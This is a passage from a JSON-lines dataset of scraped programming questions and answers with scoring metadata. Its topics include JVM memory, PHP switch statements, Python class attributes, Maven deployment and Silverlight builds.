UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);\n        throw new StackOverflowException();\n    }\n\n    // We trap this, we can't save the process, \n    // but we can prevent the \"ILLEGAL OPERATION\" window \n    static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)\n    {\n        if (e.IsTerminating)\n        {\n            Environment.Exit(1);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.423680"}
{"id": "hf_a5a2cb744390", "question": "<p>Im curious what the exact meaning of \"committed\" memory is when the value is queried from the MemoryUsage class.  That class explains it as \"committed represents the amount of memory (in bytes) that is guaranteed to be available for use by the Java virtual machine.\"  Does this mean that the memory is in use by the jvm process and NOT available to other processes until it is released by the java process, or does it mean that the java process will be successful if it tries to allocate up to that amount of memory?  I realize this might be implementation specific but i am only interested in hotspot.</p>\n", "question_body": "", "answer": "\"Does this mean that the memory is in use by the jvm process and NOT available to other processes\" would be the correct one. So its less then (or equal to) the amount of memory the OS sees as taken by the JVM process.\nhttp://java.sun.com/j2se/1.5.0/docs/guide/management/jconsole.html\n(sorry no anchors to link to).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.460489"}
{"id": "hf_1df1ddecd610", "question": "<p>I want to do sparse high dimensional (a few thousand features) least squares regression with a few hundred thousands of examples. I'm happy to use non fancy optimisation - stochastic gradient descent is fine.</p>\n\n<p>Does anyone know of any software already implemented for doing this, so I don't have to write to my own?</p>\n\n<p>Kind regards.</p>\n", "question_body": "", "answer": "While I don't know for sure, this strikes me as the kind of thing that\nLAPACK\n(linear algebra package) would be able to provide support for.  They are typically interested in large matrix math, incluing sparse matrices and out-of-core sizes.  The basic version is FORTRAN, but there are ports of the libraries for C and other languages.\nAs LAPACK uses BLAS (basic linear algebra subprograms) for many of its underlying calls, you will probably also want to check out\nSparse BLAS\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.608253"}
{"id": "hf_54eaaa37c09b", "question": "<p>I am having trouble in exporting to excel and it crashes out at the .set_Value function.</p>\n\n<p>It seems to work if I change object[,] to string[,] but by doing this I lose the formatting.</p>\n\n<p>Anyone Help?</p>\n", "question_body": "", "answer": "Are you passing '\n```\nnull\n```\n' for missing parameters rather than\n```\nSystem.Reflection.Missing.Value\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.632429"}
{"id": "hf_14d456927cb7", "question": "<p>Scenario: I have a function that I need to tweak in some way (example; make it work slightly different in different places). For some reason I end up having to add something ugly to the code, either in the function or at existing call sites. Assume that the sum total \"ugly\" is the same in both cases.</p>\n\n<p>The question is which choice should I pick and why? </p>\n\n<p>Should I encapsulate it so I don't need to look at it or should I extract it so that it doesn't add semantic trash to the function?</p>\n\n<p>What would effect your choice? What about if:</p>\n\n<ul>\n<li>The function will \"never\" be called except from the current locations.</li>\n<li>New calls to the function won't need the \"ugliness\".</li>\n<li>The function is really clean and generic right now</li>\n<li>The function is already a hack job.</li>\n<li>you wrote the function</li>\n<li>you didn't wright the function</li>\n<li>etc.</li>\n</ul>\n", "question_body": "", "answer": "Put the ugly in the function, hands down. If this is in C++ be sure to have the implementation in the .cpp file. Perhaps you may consider writing two functions to abstract the ugly from the main function body.\nProcedural/OOP programming exists to take the \"ugly\" out of the interface (among other things). It is important to realize that the more code that is required to call the function the less useful it becomes. Also remember to document the code clearly and note that there is ugly code in there and why.\nAlso, if this function is big enough you may consider putting it in its own .cs file, or .cpp/.h pair (depending on which language you are using).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.680243"}
{"id": "hf_2f38724305d2", "question": "<p>How do I put a gridview row in edit mode programmatically?</p>\n", "question_body": "", "answer": "Just implement the Row_Editing event and do something like this:\n```\n```\nprotected void Row_Editing(object sender, GridViewEditArgs e) \n{\n  myGridView.EditItemIndex = e.EditItemIndex; \n  BindData(); \n}\n```\n```\nBind data will populate the GridView with the data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.723434"}
{"id": "hf_bf02b52b0fcb", "question": "<p>How do I remove the key 'bar' from an array foo so that 'bar' won't show up in</p>\n\n<pre><code>for(key in foo){alert(key);}\n</code></pre>\n", "question_body": "", "answer": "```\n```\ndelete foo[key];\n```\n```\n:D", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.751703"}
{"id": "hf_39c35107a0c4", "question": "<p>After some find and replace refactoring I ended up with this gem:</p>\n\n<pre><code>const class A\n{\n};\n</code></pre>\n\n<p>What does \"const class\" mean? It seems to compile ok.</p>\n", "question_body": "", "answer": "If you had this:\n```\n```\nconst class A\n{\n} a;\n```\n```\nThen it would clearly mean that 'a' is const. Otherwise, I think that it is likely invalid c++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.787737"}
{"id": "hf_6ec84155a568", "question": "<p>Is there any meaningful distinction between:</p>\n\n<pre><code>class A(object):\n    foo = 5   # some default value\n</code></pre>\n\n<p>vs.</p>\n\n<pre><code>class B(object):\n    def __init__(self, foo=5):\n        self.foo = foo\n</code></pre>\n\n<p>If you're creating a lot of instances, is there any difference in performance or space requirements for the two styles? When you read the code, do you consider the meaning of the two styles to be significantly different?</p>\n", "question_body": "", "answer": "There is a significant\nsemantic\ndifference (beyond performance considerations):\nwhen the attribute is defined on the instance\n(which is what we usually do), there can be multiple objects referred to.\nEach gets a totally separate version of that attribute\n.\nwhen the attribute is defined on the class\n, there is only one underlying object referred to, so if operations on different instances of that class both attempt to set/(append/extend/insert/etc.) the attribute, then:\nif the attribute is a\nbuiltin type\n(like int, float, boolean, string), operations on one object will overwrite (clobber) the value\nif the attribute is a\nmutable type\n(like a list or a dict), we will get unwanted leakage.\nFor example:\n```\n```\n>>> class A: foo = []\n>>> a, b = A(), A()\n>>> a.foo.append(5)\n>>> b.foo\n[5]\n>>> class A:\n...  def __init__(self): self.foo = []\n>>> a, b = A(), A()\n>>> a.foo.append(5)\n>>> b.foo    \n[]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.812278"}
{"id": "hf_50122a98be98", "question": "<p>Is there a way of using an 'OR' operator or equivalent in a PHP switch?</p>\n\n<p>For example, something like this:</p>\n\n<pre><code>switch ($value) {\n\n    case 1 || 2:\n        echo 'the value is either 1 or 2';\n        break;\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nswitch ($value)\n{\n    case 1:\n    case 2:\n        echo \"the value is either 1 or 2.\";\n    break;\n}\n```\n```\nThis is called \"falling through\" the case block. The term exists in most languages implementing a switch statement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.836125"}
{"id": "hf_5b0377f45883", "question": "<p>I have experimented with a sigmoid and logarithmic fade out for volume over a period of about half a second to cushion pause and stop and prevent popping noises in my music applications.</p>\n\n<p>However neither of these sound \"natural\". And by this I mean, they sound botched. Like an amateur engineer was in charge of the sound decks.</p>\n\n<p>I know the ear is logarithmic when it comes to volumes, or at least, twice as much power does not mean twice as loud. Is there a magic formula for volume fading? Thanks.</p>\n", "question_body": "", "answer": "I spent many of my younger years mixing music recordings, live concerts and being a DJ for my school's radio station and the one thing I can tell you is that where you fade is also important.\nFading in on an intro or out during the end of a song sounds pretty natural as long as there are no vocals, but some of these computerized radio stations will fade ANYWHERE in a song to make the next commercial break ... I don't think there's a way to make that sound good.\nIn any case, I'll also answer the question you asked ... the logarithmic attenuation used for adjusting audio levels is generally referred to as \"audio taper\".  Here's an excellent article that describes the physiology of human hearing in relation to the electronics we now use for our entertainment.  See:\nhttp://tangentsoft.net/audio/atten.html\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.870864"}
{"id": "hf_2a6b830e44e6", "question": "<p>My problem is that I can't seem to get the image from my bundle to display properly. This method is in the view controller that controls the tableview. <em>headerView</em> is loaded with the tableview in the .nib file and contains a few UILabels (not shown) that load just fine. Any ideas?</p>\n\n<pre><code>- (void)viewDidLoad {\n    [super viewDidLoad];\n\n    [[self view] setTableHeaderView:headerView];\n    NSBundle *bundle = [NSBundle mainBundle];\n    NSString *imagePath = [bundle pathForResource:@\"awesome_lolcat\" ofType:@\"jpeg\"];\n    UIImage *image = [UIImage imageWithContentsOfFile:imagePath];\n    imageView = [[UIImageView alloc] initWithImage:image];\n}\n</code></pre>\n", "question_body": "", "answer": "FIrst you need to figure out whether your image is loading properly. The quickest way to get an image is to use the UIImage convenience method +[UIImage imageNamed: rawImageName].\nAlso, is this a UITableViewController? (it's unclear, but implied).\nWhere is imageView being used? You create it near the bottom, but don't seem to do anything with it. You probably want to create the image view, assign it an image, and then add it as a subview to the headerView.\n```\n```\n//this assumes that headerView is an already created UIView, perhaps an IBOutlet\n\n   UIImage     *image = [UIImage imageNamed: @\"awesome_lolcat.jpeg\"];\n   UIImageView *imageView = [[UIImageView alloc] initWithImage: image];\n   [headerView addSubview: [imageView autorelease]];\n   [[self view] setTableHeaderView: headerView];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.917761"}
{"id": "hf_9f87004532ce", "question": "<p>I want to enforce CHECK constraint on a date range such that all dates in column BIRTH_DATE are less than tomorrow and greater than or equal to 100 years ago.  I tried this expression in a CHECK constraint:</p>\n\n<pre><code>BIRTH_DATE &gt;= (sysdate - numtoyminterval(100, 'YEAR')) AND BIRTH_DATE &lt; sysdate + 1\n</code></pre>\n\n<p>But I received the error \"ORA-02436: date or system variable wrongly specified in CHECK constraint\"</p>\n\n<p>Is there a way to accomplish this using a CHECK constraint instead of a trigger?</p>\n", "question_body": "", "answer": "A check constraint expression has to be deterministic, so this sort of sliding date range is not enforcable in a check constraint.  From the\nSQL Reference\nConditions of check constraints cannot\n  contain the following constructs:\n```\n```\n* Subqueries and scalar subquery expressions\n* Calls to the functions that are not deterministic (CURRENT_DATE,\n```\n```\nCURRENT_TIMESTAMP, DBTIMEZONE, LOCALTIMESTAMP, SESSIONTIMEZONE,\n  SYSDATE, SYSTIMESTAMP, UID, USER, and\n  USERENV)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.952090"}
{"id": "hf_45539d21c10b", "question": "<p>What is the best way to approach removing items from a collection in C#, once the item is known, but not it's index.  This is one way to do it, but it seems inelegant at best.</p>\n\n<pre><code>//Remove the existing role assignment for the user.\nint cnt = 0;\nint assToDelete = 0;\nforeach (SPRoleAssignment spAssignment in workspace.RoleAssignments)\n{\n    if (spAssignment.Member.Name == shortName)\n    {\n        assToDelete = cnt;\n    }\n    cnt++;\n}\nworkspace.RoleAssignments.Remove(assToDelete);\n</code></pre>\n\n<p>What I would really like to do is find the item to remove by property (in this case, name) without looping through the entire collection and using 2 additional variables.</p>\n", "question_body": "", "answer": "If you want to access members of the collection by one of their properties, you might consider using a\n```\nDictionary<T>\n```\nor\n```\nKeyedCollection<T>\n```\ninstead. This way you don't have to search for the item you're looking for.\nOtherwise, you could at least do this:\n```\n```\nforeach (SPRoleAssignment spAssignment in workspace.RoleAssignments)\n{\n    if (spAssignment.Member.Name == shortName)\n    {\n        workspace.RoleAssignments.Remove(spAssignment);\n        break;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.975805"}
{"id": "hf_33ef797d3ead", "question": "<p>Can an ArrayList of Node contain a non-Node type? </p>\n\n<p>Is there a very dirty method of doing this with type casting?</p>\n", "question_body": "", "answer": "Yes, but you will get class cast exceptions if you try to access a non-node element as if it were a node. Generics are discarded at (for) runtime.\nFor example:\n```\n```\nimport java.util.*;\nimport java.awt.Rectangle;\n\npublic class test {\n    public static void main(String args[]) {\n        List<Rectangle> list = new ArrayList<Rectangle>();\n        /* Evil hack */\n        List lst = (List)list;\n\n        /* Works */\n        lst.add(\"Test\");\n\n        /* Works, and prints \"Test\" */\n        for(Object o: lst) {\n            System.err.println(o);\n        }\n\n        /* Dies horribly due to implicitly casting \"Test\" to a Rectangle */\n        for(Rectangle r: list) {\n            System.err.println(r);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.999954"}
{"id": "hf_340f82865b7e", "question": "<p>I have a shared library that I wish to link an executable against using GCC. The shared library has a nonstandard name not of the form libNAME.so, so I can not use the usual -l option. (It happens to also be a Python extension, and so has no 'lib' prefix.)</p>\n\n<p>I am able to pass the path to the library file directly to the link command line, but this causes the library path to be hardcoded into the executable.</p>\n\n<p>For example:</p>\n\n<pre><code>g++ -o build/bin/myapp build/bin/_mylib.so\n</code></pre>\n\n<p>Is there a way to link to this library without causing the path to be hardcoded into the executable?</p>\n", "question_body": "", "answer": "If you can copy the shared library to the working directory when g++ is invoked then this should work:\n```\n```\ng++ -o build/bin/myapp _mylib.so other_source_files\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.023208"}
{"id": "hf_149299fab194", "question": "<p>I've got a script that dynamically calls and displays images from a directory, what would be the best way to paginate this?  I'd like to be able to control the number of images that are displayed per page through a variable within the script.  I'm thinking of using URL varriables (ie - <a href=\"http://domain.com/page.php?page=1\" rel=\"noreferrer\">http://domain.com/page.php?page=1</a>) but am unsure how to go about this.</p>\n\n<p>Thanks for the help.</p>\n", "question_body": "", "answer": "pagination is the same concept with or without sql. you just need your basic variables, then you can create the content you want. here's some quasi-code:\n```\n```\n$itemsPerPage = 5;\n\n$currentPage = isset($_GET['page']) ? $_GET['page'] : 1;\n$totalItems = getTotalItems();\n$totalPages = ceil($totalItems / $itemsPerPage);\n\nfunction getTotalItems() {\n// since they're images, perhaps we'll scan a directory of images to determine\n// how many images we have in total\n}\n\nfunction getItemsFromPage($page, $itemsPerPage) {\n// function to grab $itemsPerPage based on which $page we're on\n}\n\nfunction getPager($totalPages, $currentPage) {\n// build your pager\n}\n```\n```\nhope that helps you get started!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.155532"}
{"id": "hf_be0480a320c4", "question": "<p>Trying to implement a progress dialog window for file uploads that looks like a cross between <a href=\"http://www.codinghorror.com/blog/images/ie6-download-ui.png\" rel=\"nofollow noreferrer\">IE download dialog</a> and <a href=\"http://www.codinghorror.com/blog/images/firefox2-download-ui.png\" rel=\"nofollow noreferrer\">Firefox download dialog</a> with a python GUI library on Windows.</p>\n\n<ol>\n<li>What asynchronous (S)FTP libraries are there for python? Ideally I should be able to do file upload resumes and track the progress of each parallel file uploads.</li>\n<li>If I'm running each file uploads in a separate process, how to get the upload status and display it in a progress bar dialog?</li>\n</ol>\n", "question_body": "", "answer": "\"ftplib\" is the standard ftp library built in to Python. In Python 2.6, it had a callback parameter added to the method used for uploading.\nThat callback is a function you provide to the library; it is called once for every block that is completed.\nYour function can send a message to the GUI (perhaps on a different thread/process, using standard inter-thread or inter-process communications) to tell it to update its progress bar.\nReference", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.179226"}
{"id": "hf_0f1a97ff4658", "question": "<p>What is the best way to allow a team of programmers to use Netbeans, Eclipse and IntelliJ on the same project, thus eliminating the \"which IDE is better\" question.</p>\n\n<p>Which files should or should not be checked into source code control?</p>\n", "question_body": "", "answer": "Well, that's a pretty self-answering question.\nThe files to not check into source control are files that have to do with the IDEs themselves.\nLeave it to the developers to generate these files.\nIf you use Maven, it can generate the files such as Eclipse's\n```\n.project\n```\nand\n```\n.classpath\n```\nfor you. Eclipse in general is very easy to use with a basic file structure (with the new\n```\nJava Project\n```\noption).\nI think Maven has Netbeans support as well, not sure about IntelliJ though.\nMaven's site is\nmaven.apache.org\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.215335"}
{"id": "hf_e8b05696398b", "question": "<p>My organization is considering using Jabber as an agnostic device to device to application messaging protocol.</p>\n\n<p>Does anyone know of the best practice existing Microsoft competitor to Jabber?  Or, an emerging competitor?  And, if so, a good URL reference to get a jump start?</p>\n\n<p>Website for Jabber:\n<a href=\"http://www.jabber.org/web/Main_Page\" rel=\"nofollow noreferrer\">http://www.jabber.org/web/Main_Page</a></p>\n", "question_body": "", "answer": "Jabber is several things : the older name of the  Extensible Messaging and Presence Protocol (XMPP), the jabber server and application, and the jabber network.\nWindows Communication Foundation\nis a web-service based API for communicating between applications?\nOffice Communicator is an application that uses SIP/SIMPLE messaging protocol.\nWhat do you really need? The application or the protocol/api with which to build an application?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.239680"}
{"id": "hf_2ddac59dbee0", "question": "<p>My company has an existing established WinForm application which in running on WinXP.  The application does alot of sound processing using DirectSound.</p>\n\n<p>My company would like to evaluate Mono, as an alternative on a per workstation cost to Vista/Win Server 2008.</p>\n\n<p>I've heard that different estimates, ranging from 'it will work easily on Mono' to 'it could take months of recoding in certain cases to get a WinForm app to run with Mono on Linux'.</p>\n\n<p>Does anyone have a good real world experience with this?\nA good link reference?\nI would like to get a better idea before I commit to testing.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "The WinForms part will be easy, you may have to do very little as Mono now claims to support Winforms 100%, however all the DirectSound calls will have to be rewritten to use an API available on Linux, ALSA being the obvious choice.\nI have written small apps in VS 2005 and ported them with ease to Mono. If you do a lot of P/Invokes, then you'll have to take that into account, as those may have to be completely rewritten or rethought.\nAlso, check out\nMOMA\n: \"The Mono Migration Analyzer (MoMA) tool helps you identify issues you may have when porting your .Net application to Mono. It helps pinpoint platform specific calls (P/Invoke) and areas that are not yet supported by the Mono project.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.264074"}
{"id": "hf_f8bdeb7b6797", "question": "<p>I've created the following regex pattern in an attempt to match a string 6 characters in length ending in either \"PRI\" or \"SEC\", unless the string = \"SIGSEC\". For example, I want to match ABCPRI, XYZPRI, ABCSEC and XYZSEC, but not SIGSEC.</p>\n\n<pre><code>(\\w{3}PRI$|[^SIG].*SEC$)\n</code></pre>\n\n<p>It is very close and sort of works (if I pass in \"SINSEC\", it returns a partial match on \"NSEC\"), but I don't have a good feeling about it in its current form. Also, I may have a need to add more exclusions besides \"SIG\" later and realize that this probably won't scale too well. Any ideas?</p>\n\n<p>BTW, I'm using System.Text.RegularExpressions.Regex.Match() in C#</p>\n\n<p>Thanks,\nRich</p>\n", "question_body": "", "answer": "Assuming your regex engine supports negative lookaheads, try this:\n```\n```\n((?!SIGSEC)\\w{3}(?:SEC|PRI))\n```\n```\nEdit: A commenter pointed out that .NET does support negative lookaheads, so this should work fine (thanks, Charlie).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.288646"}
{"id": "hf_505d155cd9e9", "question": "<p>i noticed that paypal displays a very different favicon,\none that's not just a simple 16x16 icon and is lengthy?\nanyone can teach me?</p>\n", "question_body": "", "answer": "I think you are refering to the green box that shows the PayPal logo followed by \"PayPal, Inc. (US)\".\nIf so, it is not a favicon, but a feature of Firefox 3 to show sites with extended validation (EV). See also\nhttp://news.cnet.com/8301-13554_3-9974672-33.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.312660"}
{"id": "hf_b732ae58e2ca", "question": "<p>I have recently started working on a very large C++ project that, after completing 90% of the implementation, has determined that they need to demonstrate 100% branch coverage during testing.  The project is hosted on an embedded platform (Green Hills Integrity).  I'm looking for suggestions and experiences from others on StackOverflow that have used code coverage products in similar environments.  I'm interested in both positive and negative comments regarding these types of tools.</p>\n", "question_body": "", "answer": "100% branch coverage?  That's quite the requirement, especially since some branches (defaults in case statements for state machines, for instance) should not be possible to run.  I expect there are\nsome\nexceptions, and if there aren't you might need to understand what coverage testing can and cannot accomplish before you start - otherwise you'll end up pulling your hair out, or worse - giving incorrect data.\nMost coverage testing for embedded systems is actually performed on PCs.  The code is ported, certain aspects of the microcontroller are emulated in software, and\nBullseye\nor another similar PC code coverage utility is run.  The reason this is done is that there are too many microcontrollers and compilers/debuggers/test environments to develop code coverage tools for each one.\nWhen code coverage tools do exist for a specific embedded platform they aren't as powerful, configurable, easy to use, and bug free as those developed for the PC platform.  The processors don't often have the trace capability (without high end emulation hardware) needed to perform good code coverage without inserting additional debug code into your firmware, which then has consequences and side effects that are difficult to control, especially with timing issues in real time systems.\nPorting code over is not terribly difficult as long as you can abstract the hardware specific code (and since you're using C++ properly, that should be easy, right? ;-D ).  The biggest issue you'll run into is types, which while better specified in C++ than they were in C still pose some issues.  Make sure you're using a types.h or similar setup to specifically tell the compiler exactly what each type you use is and how it should be interpreted.\nAfter that, you can go to town testing the core logic on the PC.  You can even test the low level hardware drivers if you are interested in developing the software emulation required for that, although timing issues can be somewhat troublesome.\nSoftware testing tools such as\nMxVDev\nperform a lot of the microcontroller emulation for you and help with timing issues as well, but you'll still have a bit of work even with such help.\nIf you must do this on the system itself, you'll need to purchase an emulator for the processor with coverage capability - not an inexpensive proposition (many emulators cost upwards of $30k for the full set of tools and emulation hardware), but it's one of the many tools used in high reliability environments such as the automotive and aerospace industries.\n-Adam\nDisclaimer: I work for the company that produces MxVDev.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.341673"}
{"id": "hf_8e03ca798e91", "question": "<p>I am just getting started with Silverlight and have recently added a Silverlight project to an established solution. In this particular scenario my solution included an existing ASP.NET web site (not application) which Visual Studio kindly offered to integrated my Silverlight application into, which I accepted.</p>\n\n<p>So everything is fine and all, and the Silverlight XAP is being copied to the web site's ClientBin directory. Now I have decided to start a new ASP.NET MVC web application that will eventually replace the older (non-MVC) web site. But I cannot for the life of me figure out what Visual Studio modified to get the XAP to automatically appear in the web site's ClientBin on build, so that I can reproduce that on my MVC site.</p>\n\n<p>So my question is essentially, what are the manually steps for getting Visual Studio to autocopy a Silverlight application's XAP to a newly added ASP.NET MVC web application?</p>\n", "question_body": "", "answer": "The copying of the XAP to the ClientBin is a MSBuild task. If you're using a standard ASP.NET project template it can be found under the Silverlight Link section.\nFor everything else you might be able to figure out the name of the MSBuild task and add it to your ASP.NET MVC project. The easier solution would probably be to use a custom post-build event on the APS.NET project to copy the file.\nThere is no \"magic\" happening, oter than copying the XAP file from the BIN directory of your Silverlight project to the ClientBin of your web application. It doesn't even have to live inside the ClientBin directory - you can copy it to any directory, or the root of your site.\nUpdate:\nThe recently released Beta 1 of ASP.NET MVC includes support for Silverlight projects, so you can link it to your ASP.NET MVC application the same way you do for regular ASP.NET applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.366919"}
{"id": "hf_ec50359b80ba", "question": "<p>My team uses an internal team maven repo that is shared from a development server using Apache. We also run the Continuum CI server on the same machine. Maven builds in Continuum are run with the &quot;install&quot; goal, which copies the final artifact directly into the shared directory.</p>\n<p>The question is, what is the difference between adding files to the shared repo using <code>mvn install</code> and using the deploy goal (mvn-deploy plugin)?</p>\n<p>It seems to me that using <code>mvn deploy</code> creates additional configuration hassles, but I have read somewhere that installing files into a shared repo is a bad idea for some reason related to the internal workings of maven.</p>\n<p>update: I get the functional differences between <code>deploy</code> and <code>install</code>; I am actually more interested in the low level details in terms of what files are created in the maven repo.</p>\n", "question_body": "", "answer": "From the Maven docs\n, sounds like it's just a difference in\nwhich\nrepository you install the package into:\ninstall - install the package into the local repository, for use as a dependency in other projects locally\ndeploy - done in an integration or release environment, copies the final package to the remote repository for sharing with other developers and projects.\nMaybe there is some confusion in that \"install\" to the CI server installs it to it's local repository, which then you as a user are sharing?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.391637"}
{"id": "hf_a38652ad887b", "question": "<p>OS: Vista enterprise</p>\n\n<p>When i switch between my home and office network, i always face issues with getting connected to the network. Almost always I have to use the diagnostic service in 'Network and sharing center' and the problem gets solved when i use the reset network adapter option.</p>\n\n<p>This takes a lot of time (3-4 min) and so i was trying to find either a command or a powershell script/cmdlet which i can use directly to reset the network adapter and save myself these 5 mins every time i have to switch between the networks. Any pointers?</p>\n", "question_body": "", "answer": "See this article from The Scripting Guys,\n\"How Can I Enable or Disable My Network Adapter?\"\ntl/dr:\n```\n```\nRestart-NetAdapter   -Name \"Your Name Here\"\n```\n```\nYou can get the list using\n```\n```\nGet-NetAdapter\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.416473"}
